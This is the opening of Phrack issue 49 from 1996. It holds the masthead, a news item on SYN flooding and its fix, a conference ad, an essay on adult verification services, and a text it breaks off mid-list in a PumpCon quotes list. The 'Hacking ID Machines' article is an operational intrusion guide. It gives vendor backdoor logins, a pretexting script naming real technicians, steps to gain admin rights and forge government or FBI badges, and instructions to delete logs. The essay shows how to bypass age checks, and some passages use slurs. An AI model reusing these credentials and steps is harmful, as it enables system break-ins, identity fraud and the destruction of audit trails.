‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editors : daemon9, Datastream Cowboy, Voyager

Mailboy : Erik Bloodaxe

Elite : Nirva (*trust* me on this one)

Raided : X (investigated, no charges as of yet)

Hair Technique : Mycroft, Aleph1

Tired : TCP SYN flooding

Wired : Not copping silly slogans from played‑out, vertigo inducing magazines.

Pissed off: ludichrist

Pissed on: ip

News : DisordeR

Thanks : Alhambra, Halflife, Snocrash, Mythrandir, Nihil, jenf, xanax, kamee, t3, sirsyko, mudge.

Shout Outs : Major, Cavalier, Presence, A‑Flat, Colonel Mustard, Bogus Technician, Merc, Invalid, b_, oof, BioHazard, Grave45, NeTTwerk, Panzer, The Bishop, TeleMonster, Ph0n‑E, loadammo, h0trod.

Phrack Magazine V. 7, #49, November 08, 1996. ISSN 1068‑1035 Contents Copyright (c) 1996 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editors. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge.

Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.com and ask to be added to the list.

Phrack Magazine

603 W. 13th #1A‑278 (Phrack Mailing Address) Austin, TX 78701

ftp.fc.net (Phrack FTP Site) /pub/phrack

http://www.fc.net/phrack (Phrack WWW Home Page)

phrack@well.com (Phrack E‑mail Address) or phrackmag on America Online

Submissions to the above email address may be encrypted

with the following key (note this is a NEW key):

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.2

mQENAzJuWJgAAAEH/2auap+FzX1AZOsQRPWRrRSOai2ZokfVpWWJI8DRuSpX9l7w 5qWHrZdL/RweA4lgwAmcrAOD6d8+AzZfXEhkKi92G9ZNy2cjsb5g7oamkcPmC03h pdhRe5rHXDWUtXDEhHlkV0WvkLXrhFijW2VdJ2UDFyFd8q0nBSIz+JTGneNO0w4q aowCx3gZpEb4hkEU1LFoJXywZhnBg06jSxD9exbBF2WKeealqTlntlcsMmeJ3OdS 9fqnGI19BWirqkIJYtNXdzP4M2usOEvikrdhXwSbCNcDGcY6pyKco2rKbBUj5V2I 8/2L0TSGSaRBZ/YKRplwycldy63UVVTLMNGQCCUABRG0KlBocmFjayBNYWdhemlu ZSA8cGhyYWNrZWRpdEBpbmZvbmV4dXMuY29tPg==

=eHJS

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED

Phrack goes out plaintext... You certainly can subscribe in plaintext

.oO Phrack 49 Oo.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Table Of Contents

1. Introduction 7 K

2. Phrack loopback 6 K

3. Line Noise 65 K

4. Phrack Prophile on Mudge by Phrack Staff 8 K 5. Introduction to Telephony and PBX systems by Cavalier 100K 6. Project Loki: ICMP Tunneling by daemon9/alhambra 10 K 7. Project Hades: TCP weaknesses by daemon9 38 K 8. Introduction to CGI and CGI vulnerabilities by G. Gilliss 12 K 9. Content‑Blind Cancelbot by Dr. Dimitri Vulis 40 K 10. A Steganography Improvement Proposal by cjm1 6 K 11. South Western Bell Lineman Work Codes by Icon 18 K 12. Introduction to the FedLine software system by Parmaster 19 K 13. Telephone Company Customer Applications by Voyager 38 K 14. Smashing The Stack For Fun And Profit by Aleph1 66 K 15. TCP port Stealth Scanning by Uriel 32 K

16. Phrack World News by Disorder 109K

575k

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"...There's MORE than maybes..."

‑ Tom Regean (Gabriel Bryne) "Miller's Crossing"

[ Obviously referring to the blatent truism that Phrack IS back ]

"...Fuckin' Cops..."

‑ Verbal Kint/Keyser Soze (Kevin Spacey) "The Usual Suspects"

[ Not sure what was meant by that.. ]

"Got more funky styles than my Laserjet got fonts"

‑ 311/Grassroots "Omaha Stylee"

[ That would be referring to us, of course ]

EOF

Phrack loopback

.oO Phrack Magazine Oo.

Volume Seven, Issue Forty‑Nine

File 2 of 16

Phrack Loopback

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[The Netly News]

September 30, 1996

Today, Berkeley Software Design, Inc. is expected to publicly release a near‑perfect solution to the "Denial of Service," or SYN flooding attacks, that have been plaguing the Net for the past three weeks. The fix, dubbed the SYN cache, does not replace the need for router filtering, but it is an easy‑to‑implement prophylaxis for most attacks.

"It may even be overkill," says Alexis Rosen, the owner of Public Access Networks. The attack on his service two weeks ago first catapulted the hack into public consciousness.

The SYN attack, originally published by Daemon9 in Phrack, has affected at least three service providers since it was published last month. The attack floods an ISP's server with bogus, randomly generated connection requests. Unable to bear the pressure, servers grind to a halt.

The new code, which should take just 30 minutes for a service provider to install, would keep the bogus addresses out of the main queue by saving two key pieces of information in a separate area of the machine, implementing communication only when the connection has been verified. Rosen, a master of techno metaphor, compares it to a customs check. When you seek entrance to a server, you are asked for two small pieces of identification. The server then sends a communique back to your machine and establishes that you are a real person. Once your identity is established, the server grabs the two missing pieces of identification and puts you into the queue for a connection. If valid identification is not established, you never reach the queue and the two small pieces of identification are flushed from the system.

The entire process takes microseconds to complete and uses just a few bytes of memory. "Right now one of these guys could be on the end of a 300‑baud modem and shut you down," says Doug Urner, a spokesman for BSDI. "With these fixes, they just won't matter." still, Urner stresses that the solution does not reduce the need for service providers to filter IP addresses at the router.

Indeed, if an attacker were using a T1 to send thousands of requests per second, even the BSDI solution would be taxed. For that reason, the developers put in an added layer of protection to their code that would randomly drop connections during an overload. That way at least some valid users would be able to get through, albeit slowly.

There have been a number of proposed solutions based on the random‑drop theory. Even Daemon9 came up with a solution that looks for any common characteristics in the attack and learns to drop that set of addresses. For example, most SYN attacks have a tempo ‑‑ packets are often sent in five‑millisecond intervals ‑‑ When a server senses flooding it looks for these common characteristics and decides to drop that set of requests. Some valid users would be dropped in the process, but the server would have effectively saved itself from a total lockup.

Phrack editor Daemon9 defends his act of publishing the code for the attack as a necessary evil. "If I just put out a white paper, no one is going to look at this, no one is going to fix this hole," he told The Netly News. "You have to break some eggs, I guess.

To his credit, Daemon9 actually included measures in his code that made it difficult for any anklebiting hacker to run. Essential bits of information required to enable the SYN attack code could be learned only from reading the entire whitepaper he wrote describing the attack. Also, anyone wanting to run the hack would have to set up a server in order to generate the IP addresses. "My line of thinking is that if you know how to set a Linux up and you're enough in computers, you'll have enough respect not to do this," Daemon9 says. He adds, "I did not foresee such a large response to this."

Daemon9 also warns that there are other, similar protocols that can be abused and that until there is a new generation of TCP/IP the Net will be open to abuse. He explained a devastating attack similar to SYN called ICMP Echo Flood. The attack sends "ping" requests to a remote machine hundreds of times per second until the machine is flooded.

"Don't get me wrong," says Daemon9. "I love the Net. It's my bread and butter, my backyard. But now there are too many people on it with no concern for security. The CIA and DOJ attacks were waiting to happen. These holes were pathetically well‑known."

‑‑By Noah Robischon

[ Hmm. I thought quotation marks were indicative of verbatim quotes. Not in this case... It's funny. You talk to these guys for hours, you *think* you've pounded the subject matter into their brains well enough for them to *at least* quote you properly... ‑d9 ]

[ Ok. Loopback was weak this time. We had no mail. We need mail. Send us mail! ]

‑‑‑‑<>‑‑‑‑

Line Noise

.oO Phrack Magazine Oo.

Volume Seven, Issue Forty‑Nine

File 3 of 16

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96

Tengo que hable con mi abogado.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What : A computer/telephony/security conference. (show this part to your boss.)

Where: Fort Brown Hotel, Brownsville Texas.

When : 28 & 29 December, 1996

Who : The usual gang of cretins.

Why : It's winter, and it is 12 degrees outside. The dumpsters are frozen shut, and there are icicles on the payphones. Brownsville is at the Southern‑most tip of Texas, right up against...Mexico. Yes, Mexico, land of cheap cerveza, four‑dollar strippers, and liberal drinking laws. Mexico, where you too can own your very own Federal law enforcement official for a fistful of pesos.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Speakers

Anybody wishing to speak at CuervoCon should send

e‑mail to the address at the bottom of this announcement. Currently the list includes:

u4ea (by teleconfrence)

Major

ReDragon

Caffiend (about her Breasts)

daemon9 (about his Breasts)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Events

"How Much Can You Drink?"

"Fool The Lamer"

"Hack The Stripper"

"Hack The Web Server"

"sk00l"

"Ouija Board Hacking"

...as well as a variety of Technical Presentations.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

General Information

The Fort Brown Hotel will have available to us, 125 rooms at the holiday in @ $55 a room, and $75 rooms at the ramada @ $45 each. The Fort Brown was previously an actual fort when it was closed down by Uncle Sam. It became one large hotel until it was recently purchased and split into the Holiday Inn and the Ramada. The Fort Brown was chosen because it is across the street from the bridge to Mexico. You can call the Fort Brown Ramada at:

210‑541‑2921

You can call the Fort Brown Holiday Inn at:

210‑546‑2201

Call for reservations, make sure to tell them your with CuervoCon.

Friday and Saturday the con will be in the 'Calvary' room. While Sunday we have the 'Fortress Room' where all the big speakers will be. Friday and Saturday we will have a few speakers and activities. Friday Night mainly, so we can have people arrive on time. We hope to have the con room open 24 hours a day.

Brownsville is right on the Mexican border, adjacent to the Mexican town Matamoris. The Gulf of Mexico is 25 miles away. Brownsville has a population just over 100,000. The police force includes 175 officers, and a wide variety of federal law enforcement agencies have a strong presence there as well. The climate is semi‑tropical, and the RBOC is SouthWestern Bell.

Matamoris is the other half of brownsville. Home of over 1/2 a million people, it is known since the early 1900's as a pit of sin. The federale's are not to be fucked with and it is serviced by TelMex. It is known for its bars, strip clubs and mexican food. Matamoros also has an airport incase you live in Mexico and care to go, via aeromexico.

Directions:

In Texas Driving ‑ Go anyway you can to get to US 77 South. Take 77 South till it ends in Brownsville. From there you will turn right on International. Proceed all the way down international, right before the bridge, turn left. The Fort Brown will be on the left.

For those flying in ‑ We are going to try to have a shuttle going. Also just tell the cab driver, Fort Brown.

The Con Registration Fee, aka the pay it when you walk in our we will beat you up, is only 10$ and an additional 5$ for the 'I paid for eliteness sticker' which will let you into the special events, such as hack the stripper.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Celebrity Endorsements

Here's what last years participants had to say about CuervoCon:

"I attended the CuervoCon 95. I found many people there who, fearing a sunburn, wanted to buy my t‑shirts!" ‑ErikB

"I tried to attend, but was thwarted by "No Admittance to The Public" sign. I feel as though I missed the event of the year." ‑ The Public

"mmmm...look at all the little Mexican boys..." ‑Netta Gilboa

"Wow! CuervoCon 95 was more fun that spilling my guts to the feds!" ‑ Panther Modern

"CuervoCon is our favorite annual event. We know we can give security a day of rest, because you people are all too drunk to give us any trouble..." ‑ AT&T

"No moleste, por favor." ‑ TeleMex

Don't miss it!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Have you ever hacked a machine in your hometown from a foreign country?

Have you ever had to convert dollars into pesos to get your bribe right?

Have you ever spent time in a foreign prison, where your "rights as an American" just don't apply?

Have you ever been taken down for soemthing that wasn't even illegal half an hour ago?

YOU WILL! And the con that will bring it to you?

CUERVOCON 96

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 brought to you by

‑ S.o.B. ‑ TNo ‑ PLA ‑ Phrack ‑ The Guild ‑ F.U.C.K. ‑ SotMESC ‑

Contact Information

info@cuervocon.org

www.cuervocon.org ‑ Look here for updates.

Voice mail system coming up soon.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑<>‑‑

*** The truth behind the Adult Verification Services

('porno' will set you free)

*** By your passively skeptical author, t3.

*** 10.30.96

Let's speak for a minute about 'porno'. 'Porno' has saturated the Net to a level in which it's difficult *not* to see it, regardless if you're looking for it. It can be found on the largest web site and the smallest ftp site. It can be found on Usenet, it can be found with any one of numerous search engines. Let's not delude ourselves, porno is *everywhere* and anyone with the motor skills to click a mouse can have access to it.

About a year ago a concept came along called 'Adult Verification'. This first started out by people writing crude cgi scripts that would query every person as to their age. 'Are you 18' it would say, and even a sexually aware 9‑year old would know to say 'yay' to this.

Soon thereafter, someone topped this 4‑line piece of code by writing a login interface, most likely it was incorporated into Netscape or some other, less worthy browser. This program made use of the actual browser to authenticate users. Of course one needed a login and password, of which had to be manually added after ample proof of age was received. If one merely wanted to cover one's ass, this would not be a logical solution.

This all occurred during which the CDA (Communications Decency Act) had actually existed. On June 7, 1995, the CDA was passed through the Senate to the President, signed, and made a law:

(1) in the heading by striking `Broadcasting obscene language' and inserting `Utterance of indecent or profane language by radio communication; transmission to minor of indecent material from remote computer facility, electronic communications service, or electronic bulletin board service';

et al...Now it was illegal to transmit 'indecent material' on the Internet. If this were to actually be adhered to, the Net would shrink so drastically that the current topology would last ten years before needing an upgrade.

Is was soon apparent that this act was not going to fly. Groups like the EFF and the ACLU suddenly became extremely busy. Companies such as Apple and Microsoft challenged the constitutionality of such a law and took this directly to court. It was also apparent that the transmission of 'indecent material' would not disappear, but merely go further underground.

Indeed, this is exactly what happened. Soon thereafter Adult Verification services began popping up. AVS (Adult Verification Services), Adultcheck, Adultpass, and a slew of others came up with an idea.

The idea was to verify a person's adult status by acquiring one's credit card number. This would, ahem, without a doubt, prove that the individual was 18. Why? Because you had to be 18 to have a credit card of course! Someone obviously didn't take into consideration the five or so million pre‑adults that would make it their goal to surpass such shotty authentication.

It began by the government stating that a credit card is a legal means of verifying one's age, this allowing those distributing 'porno'graphic materials to continue distributing to those 18 and over. The initial means that the 'providers of porn' used to do this was to basically verify the format of the card and not actually run a check on it. As most of us all know, there have been plenty of "Credit Card Generators" produced in the last five years, quite capable of fooling these shotty authentication systems.

As this authentication was obviously lacking in the "authentication" part, the next step was to actually validate the cards. This began and ended nearly as quickly, for finding a credit card (for example, in mommy's purse), junior could peruse porn until his dick grew red and chafed.

On June 12, 1996 it was was determined that the CDA indeed violated one's constitutional rights and was striken down as a law. More on this at <http://www.eff.org/pub/Legal/Cases/EFF_ACLU_v_DoJ/>.

But it didn't seem to phase the Authentication services.

The Authentication Services currently verify age by obtaining a credit card, verifying it, and actually charging a fee for the service. About $9.95 for two years which entitles you to an abundance of graphic, ad, and airbrush‑laden web pages and images. This most likely sufficiently scared off the less determined of minors because now they'd be engaging in credit card fraud.

It's truly odd that after it has been deemed legal to distribute said porn, that all of these services still insist that it's illegal to do so. Let us realize that Usenet barely flinched when the CDA was in effect, and still offered gigs upon (glorious) gigs of nude bodies to oggle at.

After taking a good look at this whole bizarre operation, I have made a few conclusions of my own.

Charging $9.95 for two years of access to 'porno'graphy seems a little too good to be true. One must realize that there is a charge to the billing company for each credit card transaction made. I'd be surprised if it wasn't half of this ten bucks. These authentication companies also pay "handsomely" the purveyors of porn. In order for such a service to function, obviously there needs to be an agreement with the distributor and the authenticator.

Now, one that distributes 'porno'graphy on the Net will certainly not feel the need to do these Verification Services any favors. The majority of people that do run these explicit sites are certainly not interested in supporting censorship of their material (probably 90% money‑making). The AVS's knew this and offered a stipend to those using their services.

The AVS's currently work by paying the site that contains 'indecent material' a certain amount each time that site gets another person to sign up with their service. This works by the AVS sending html that is put on a verification page. If one finds this page important enough, they may be convinced to sign up with the service that allows you to access it.

The stipend is generally around $4.00, and as high as $7.50. There are many AVS's, and the majority of the said 'sites' use more than one, sometimes all of them for verification. If a particular site uses one AVS exclusively, the AVS will pay on the highest end of their scale for new recruits.

If we get into some simple math, we may find some contradictions regarding this. The initial fee to those interested in accessing porn is $9.95. Out of these we can safely say that more than $3.00 goes to simply checking the validity of the card and billing it. This leaves the AVS with $6.95.

Now, on the receiving end we have a very minimum of $4.00 going towards each new person that signs up. It's probably safe to say that over 90% of new customers to these AVS's sign‑up through 'porno'graphic pages and not directly from the site itself.

So $9.95 ends up being $6.95 after expenses, and then the service sends another $4.00 to the person that gave them the account. This leaves the AVS with a maximum of $2.95 total.

The costs running an AVS are surely not exorbant, but are certainly not cheap. I have yet to find an AVS running off of anything less than at T1 (1.544mbit) speeds. This translates to an extreme minimum of 1k/month. If you include employees, office space, and incidentals, running any such service couldn't cost less than 5k a month at the very least. This would mean to break even one would have to bring in:

5000/2.95

1694 new customers a month, simply to break even! That's a lot considering the membership lasts for two years. And this is in the *best‑case* scenario. I would be hard‑pressed to believe that one such service could steadily rely on such a base of new clients every month indefinitely!

I have theorized that these services are in fact not self‑run moneymaking ventures, but are actually being funded by a higher authority. It's quite feasible to believe that the government, having been challenged and beat, have actually allocated funds to protecting the minors of the Net from obscenity. It's *certainly* not far‑fetched, especially with Al Gore (think, Tipper) in an improperly high position.

The government could allocate a comparitively paltry sum of one million a year towards funding (even creating) companies that act merely to pay people to be complacent. What if the government merely let relatively computer proficient professionals bid on forming these AVS's? What if?

Well, unless i'm overlooking something, I can't see too much illogic to my theory.

Another consideration of these services is that even at their current state, they are extremely easy to overcome. So easy, in fact, that their existence will hardly offer much resistance to a horny teenager. Remember, people will do anything to get 'porno'graphy.

Such holes in these systems are that the verified member of such an AVS connects to a sexually explicit site, is bounced backed to the AVS for authentication, and is then bounced back again to the page (url) that contains the "naughty stuff". This page can be simply bookmarked and distributed to anyone and their Mom.

Why? All the services I've come across (the largest ones) do not authenticate the target url, they target the initial "warning" page and contain information to pass the user on to the naughty stuff. Thus if one single person can obtain the target url, he can bypass all future authentication and can as well pass the url on through various channels, quite easily ending up in the hands of a minor.

As well, if stupidity was a metaphor for AVS's, most of the target url's have filenames such as "warning.html" or "granted.html". Any half‑respectable search engine (such as AltaVista) is capable of snarfing out such information. Doubly‑so because these services will obviously want to advertise their existence.

The only method that seems to partially protect minors from 'porno'graphy is the method of installing client‑based software such as SurfWatch that try to censor 'porno'graphy. This, as well, relies on a willing company or individual to operate. This works quite archaically by imbedding META tags in html source. For example:

<META name="description" content="Validate Age Verification Service"><meta name="keywords" content="sex erotica nude porn penthouse pornography erotic porno adult playboy dating marriage love date age validate validation protect children kids money commercial wealth nudes pics jpg gif">

This particular tag would be placed in the receiving html of a co‑operative service or individual. The client‑based software would search for such tags and censor the content accordingly. From my understanding, those using AVS's are not required to embed these tags in their "warning" page html. If they do not, which I would imagine many probably wouldn't, then suddenly these client‑based censorship tools are rendered useless.

So in conclusion, I would give a big thumbs‑down for this whole pathetic means of controlling freedom. The Internet was meant to be a place to free exchange of information. Today a minor is just as able to find explicit material on the Net as he/she is able to dig through Mom and Dad's dresser for copies of Hustler. A minor is just as capable of watching R or X‑rated movies, stealing a magazine from a store, or even buying one.

It's time to stop using half‑assed and crippled ways of protecting kids from obscenity on the Net. If you're a parent and you don't want your child to view such 'porno'graphy, then why not do what you're supposed to do and discipline the kid.

Lazy fuckers.

t3

.end

‑‑‑‑<>‑‑

T.A.C.D Presents...

Hacking ID Machines

By PiLL

Table Of Contents

I. What is an ID Machine & who uses them?

II. Hardware and software of the ID machines

III. Common security of ID Machines

IV. What to do once you get in

V. Closing

VI. Greets

Part One: What is an ID machine and who uses them?

First we will start with the basics. An IDM or ID Machine is exactly what the name entails. It is a computer that government and large companies use to make security badges and ID cards for employees and visitors. All of the IDM's are DOS based so security, to say the least, sucks. There are four models of IDM's. The one we will be covering the most is the latest and greatest: the ID 4000. Also in the family of IDM's are the 3000, 2000+, and 2000. I have heard of an ID 1000 but I have yet to see or play with one, so if you find one, tell me. The 2000 is DOS 3.3 so I can imagine that an ID 1000 is even a bigger waste of time. IDM's are manufactured by a branch of Polaroid entitled Polaroid Electronic Imaging. If you want more information on IDM's call (800)343‑5000 and they will send you some general specs. I will let you know right off the start that these machines sell for as much as $75,000.00 but the average price is around $40,000.00. So getting caught crashing one is NOT a good idea.

You are probably wondering what companies use ID machines. Here is a brief list. All of the Colorado and Alaska DMV's, The IRS, The FBI, The U.S. Mint, The Federal Reserve, almost any military branch, Hewlett Packard, Polaroid, Westinghouse (I wouldn't recommend fucking with them: for more information on Westinghouse check out the movie Unauthorized Access available from CDC's home page), and all of the major prisons in the United States. By now you should be getting ideas of the potential fun you can have. Not that I would ever use what I know for anything illegal ;)

Part Two: Hardware and Software

I will cover each machine in order but you will probably notice that the ID4000 will get by far more attention then any other.

Hardware and Software for the 2000+ and 2000 is kind of like teaching someone about the Apple ][ and how to use Logo so I will try not to bore you to much with them. The 2000 series are unique to the others because they are one full unit. The hardware is basically a really cheesy oversized case with a 9 monochrome monitor, a 3 monitor for viewing the victim of the hideous picture it takes, a 286 Wyse computer with 1meg of RAM (really hauls ass), a data compression board, image processing board (*Paris* Board), a signature scanner, a color film recorder or CFR, a WORM Drive, a modem, and most of the time a network card so the data can be stored on a mainframe. The Software of the 2000 series is a really neat database program running under DOS 3.3. If you have never heard of or used EDLIN, I would not recommend playing with a 2000. The only major differences between an ID2000 and an ID2000+ is that the computer on the 2000+ is a HP Vectra 386 with 4megs and a SCSI Interface. That's all you really need to know you probably won't ever encounter one unless you go trashing a lot.

The ID3000 is also an HP 386/20 but uses DOS 5.0 and a Matrox Digital Processing board instead of the old Paris board of the 2000 series.

This came about when your state ID actually started to remotely resemble you in 1992. Also in the 3000 years their were more peripherals available such as the latest CFR at the time (I think it was the 5000), PVC printers, and bar code label printers. The software is basically DOS 5.0 but this time they use a database shell much like DOSSHELL as the interface with the machine. The 3000 uses SYTOS for data storage and transfer and it is best to dial in using a program called Carbon Copy.

The 4000 is the best even though it's not that great. It was is the first IDM in the Polaroid line that let the customer customize the machine to their needs. This is the machine that you see when you go to the DMV, at least in Denver. It consists of a JVC camera, a Matrox processing board, a data compression board, an Adaptec 1505 SCSI card, a 14.4 modem, a network card, and can have any of the following added to it: a PVC printer (in case you didn't know that's what they use on credit cards), a magnetic stripe encoder, a bar code printer, a thermal printer, a CFR (usually the HR6000 like at the DMV), a Ci500 scanner, and signature pad, a finger print pad (interesting note if you have a black light and one of the new Colorado Driver licenses hold it under a black light and look what appears under your picture, you should see your finger print), and a laminator. Now some of you are thinking what about the holograms? Those are actually in the lamination, not on the badge itself. To obtain lamination walk into the DMV and look to the right or left of the machine if you see a little brown box that's what you need, but please remember to leave some for the rest of us that might be next in line. Or you can go to Eagle hardware and buy a bolt cutter for the dumpster but that's a different text file.

The 4000 runs DOS 6.0 and Windows 3.1. The actual software for the 4000 is a terrible Visual Basic shell that reminds me of the first time I ran that program AoHell. The only difference is that AoHell did what it was suppose to, the 4000 software is a headache of GPF's , Environment Errors, and Vbrun errors. A nice feature that the 4000 has that the other IDM's don't, is the ability to create and design your own badge. You can even do it remotely ! ! =) . Unfortunately the program Polaroid developed for this makes paintbrush look good. But on a bright note you can import Images.

Briefly here is a run down of what exactly happens when you get your picture taken on an ID4000 at the DMV. At the first desk or table the narrow eyed, overpaid, government employee will ask you for some general information like a birth certificate, picture ID, name, address, SSN#, what party you prefer to vote for, and whether or not you want to donate your organs in the event of your untimely demise. You reply by handing her your fake birth certificate and ID that you had printed no more then an hour ago, hoping the ink is dry. "My name is Lee Taxor I reside at 38.250.25.1 Root Ave in the Beautiful Port apartments #23 located in Telnet, Colorado, I prefer to vote for Mickey Mouse of the Disney party, and can't donate my organs because Satan already owns them." The disgruntled employee then enters all your information in the correct fields while never taking an eye off you in fear that you know more about the machine he or she is using then they do (perhaps you shouldn't of worn your Coed Naked Hacking T‑shirt that you bought at DefCon 4). As soon as the bureaucrat hits <ENTER> all of the information is sent to a database located in the directory named after the computer (i.e. c:\ID4000\ColoDMV\96DMV.MDB). Then you are directed to the blue screen where you stare at the JVC monitor trying to look cool even though the camera always seems to catch you when you have to blink or yawn or even sneeze. *SNAP* the picture is taken and displayed on the monitor where the employee can laugh at your dumb expression before printing it. If the employee decides to print the picture it is saved as a 9 digit number associated with your database record. The 4000 then compresses the picture and saves it. So the next time you go in and the pull up your record it will automatically find the associated picture and display it on the screen. But in the mean time you grab your fake ID the DMV just made for you and leave happy.

In a nut shell that's all there is to these machines.

Part Three: Security

I think a better topic is lack of security. I have yet to see any of these machines that are remotely secure. Before we go any further the 4000 is best accessed using CloseUp the others using Carbon Copy, But any mainstream communications program will more then likely work. You Dial and it asks you right away for a username and password. whoa, stop, road block right their. Unless of course you know the backdoor that Polaroid put in their machines so they can service them. =)

ID4000

Login: CSD (case Sensitive)

Password: POLAROID (who would of guessed?)

ID3000

Login: CPS

Password: POLAROID (god these guys are so efficient)

ID2000+ And ID2000

Login: POLAROID (ahh the good old days)

Password: POLAROID

Now if these do not work because they have been edited out, there are still a few VERY simple ways of getting in to your victims system. The first is to go with every hackers default method of social engineering. The best way to do this is to call them up and say "Hi this is (insert tech name here) with Polaroid Electronic Imaging! How is it going down there at (name of company)." The say "pretty good!" in a funny voice thinking what great customer support. You say "How is the weather been in (location of company)" they reply with the current weather status feeling that they can trust you cause you are so friendly. You say "well (name of person), we were going through our contacts one by one doing routine upgrades and system cleaning to ensure that your database is not going to get corrupted anytime soon and that everything is doing what it is supposed too, if you know what I mean (name of person)." Now they reply "oh yeah" and laugh with you not having a clue of what you are talking about. And they then say "well everything seems to be in order." You say "great sounds good but old *Bob* would have my head if I didn't check that out for myself." Then you ask if the modem is plugged in and wait for the reply. The either say yes or no then you ask them go plug it & give you the number or just give you the number. Then they comply cause they are just sheep in your plan. You say "Hey thanks (name) one more thing would happen to know if user CSD:Polaroid exists or did you guys delete it." If they deleted it ask them to put it back in, giving you administrative access. They probably know how to and will comply. If they need help have them do the following: Click on the combination lock icon at the top of the screen. This will bring them to the administrative screen and they will have the choices of Purge, Reports, and Passwords. Have them click on passwords. Then have them enter you as a new user with CSD as your Name and Polaroid as your Password. After they have done that make sure they give you all the Keys. The keys are basically access levels like on a BBS. Lets some users do certain things while others can not. The only key you need is administrative but have them give you the rest as well. The other keys are Management and Luser I think. The keys are located to the left of the user information that they just entered. Then have them click OK and close the call politely. Ta da!! Here is a list of Polaroid phone techs but I would not advise using Bob or Aryia cause their big wigs and nobody ever talks to them.

Senior Techs of Polaroid

Regular Techs

Bob Pentze (manager)

Don Bacher

Aryia Bagapour (assistant)

Richard

Felix Sue

Rick Ward

Jordan Freeman

Dave Webster

Call 1‑800‑343‑5000 for more Names =)

Part Four: What to Do once you get in

Now that your in you have access to all of their database records and photos. Upload your own and have fun with it! Everything you do is logged so here's what you'll want to do when you're done making yourself an official FBI agent or an employee of the federal reserve. Go to all of the available drives which could be a lot since they are on a network and do a search from root for all of the LOG files i.e. C:\DIR /S *.LOG Then delete the fuckers!!!! You can also do this by FDISK or formatting. Just kidding! But if you want to do it the right way then go to the admin screen and purge the error and system logs.

Basically if you want the form for government badges or the FBI agents database this is the safest way to go. These computer do not have the ability to trace but it does not mean the phone company doesn't! ANI sucks a fat dick so remember to divert if you decide to do this. If you don't know how to divert I recommend you read CoTNo or Phrack and learn a little bit about phone systems and how they work.

Moving around in the software once your past the security is very simple so I'm not going to get into it. If you can get around a BBS then you don't need any further help. Just remember to delete or purge the logs.

Part Five: Closing

If your looking for some mild fun like uploading the DMV a new license or revoking your friends this is the way to do it. However if you're looking to make fake ID's I recommend you download the badge format and purchase or obtain a copy of IDWare by Polaroid. IDware is a lot like the 4000 software except you only need a scanner not the whole system. As a warning to some of the kids I know of one guy who bought a $50,000.00 ID4000 and paid it off in a year by selling fake ID's. When Polaroid busted him they prosecuted to the fullest and now the guy is rotting in a cell for 25 to 50 years. Just a thought to ponder.

Peace

PiLL

Greetz

Shouts go out to the following groups and individuals: TACD, TNO, MOD, L0pht, CDC, UPS, Shadow, Wraith, KaoTik, Wednesday, Zydirion, Voyager, Jazmine, swolf, Mustard, Terminal, Major, Legion, Disorder, Genesis, Paradox, Jesta, anybody else in 303, STAR, BoxingNuN, MrHades, OuTHouse, Romen, Tewph, Bravo, Kingpin, and everyone I forgot cause I'm sure there are a bunch of you, sorry =P.

‑‑‑‑<>‑‑

The Top Ten things overheard at PumpCon '96

10. "You gotta problem? Ya'll gotta rowl!"

‑ Keith the security guard

9. "My brain has a slow ping response"

‑ Kingpin

8. "Space Rogue, I've been coveting your pickle." ‑ espidre

7. "If there's space ‑n shit, then it's Star Trek. Unless there's that little Yoda guy ‑ then it's Star Wars"

‑ Kingpin

6. "I'm the editor of Phrack. Wanna lay down with me?" ‑ A very drunk unnamed editor of Phrack

5. "Let's go find that spic, b_, no offense"

‑ A drunk IP to b_.

4. "I'm lookin for that fat fucker Wozz. He's big, and got a green shirt, and glasses, and curly hair, just like you. As a matta a fact, you gots similar characteristics!"

‑ A drunk IP to wozz.

3. "He was passed out on the floor... so I pissed on him" ‑ An unknown assailant referring to IP

